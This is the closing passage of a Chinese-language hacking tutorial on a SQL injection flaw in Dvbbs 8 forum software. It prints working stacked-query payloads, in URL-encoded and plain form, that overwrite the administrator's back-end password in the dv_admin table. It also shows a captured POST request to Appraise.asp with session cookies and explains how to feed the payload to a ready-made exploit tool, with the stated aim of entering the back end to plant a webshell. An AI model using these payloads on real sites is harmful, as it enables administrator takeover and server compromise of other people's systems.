但在实际入侵中，我们还需要更改管理员的后台登录密码才能进入后台从而拿到Webshell。不过刚才的操作只是更改了管理员的前台登录密码，我们可以构造如下数据包更改管理员的后台登录密码：
%3Bdeclare+@a+sysname+select
+@a%3D0x6500650065003000310063003900610062003700320036003700660032003500
+update+dv%5Fadmin+set+password%3D@a+where+id%3D1
原形即为：
;declare @a sysname select @a=0x6500650065003000310063003900610062003700320036003700660032003500
update dv_admin set password=@a where id=1
就是语句变了下，同样也是插入到test.txt里的最后一行的topicid=1后面再保存。然后再NC提交，也会返回类似于图8的信息。提交我们发现admin的后台登录密码已成功更改，如图10。


使用新密码可以成功登录后台，如图11。


漏洞的手工测试就完毕了，可能菜菜们都觉得这样太麻烦了，有没有相关的利用工具呢。答案是肯定的，牛人们早已写出发利用工具，界面如图12。


要填写的相关信息同样也需要抓包获取，其中包括URL、BoardID、TopicID、AnnounceID、验证码（acodestr）、Cookie等，抓包操作前面已提过。抓到的包内容类似下面这段数据：
POST /Appraise.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*
Referer: http://127.0.0.1/dispbbs.asp?boardID=1&ID=1&page=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: w0802=2; rtime=1; ltime=1187503483390; w08_eid=57689537-http%3A//127.0.0.1/index.asp%3Fboardid%3D1; DvForum=UserID=2&usercookies=0&StatUserID=4086140&userclass=
%D0%C2%CA%D6%C9%CF%C2%B7&username=hackest&password=v0qdt2f765U6x7J5&userhidden=2; geturl=%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDSSSRRQBQ=BJNDBJNDBOIJFNGJPDACBOEK; upNum=0; Dvbbs=baffbdfhbe; ASPSESSIONIDQQQRSRAQ=EINNNCODGHHIAFNHDPMKMNED; ASPSESSIONIDQSQRTRAQ=COHBEOODEFPDCNKKBPAPKCMF
boardid=1&topicid=1&announceid=1&atype=0&a1=0&a2=0&atitle=test&acodestr=8598&acontent=test

参照里面的内容就可以填写所需数据了，填好后在SQL Injection栏里填入●;declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800
update dv_admin set password=@a where id=1●（这里是把密码改成admin888），然后点一下旁边的“编码”小按钮（即完成变形过程）再提交，如图13。


就会发现管理员的后台登录密码同样也被更改成admin888了，如图14。


至此，这个漏洞的测试过程就完毕了，操作上可能会复杂一点。至于进了后台如何拿Webshell，大家请参考上期的“动网8.0后台Webshell大作战”一文中介绍的方法。

上一页  [1] [2] [3]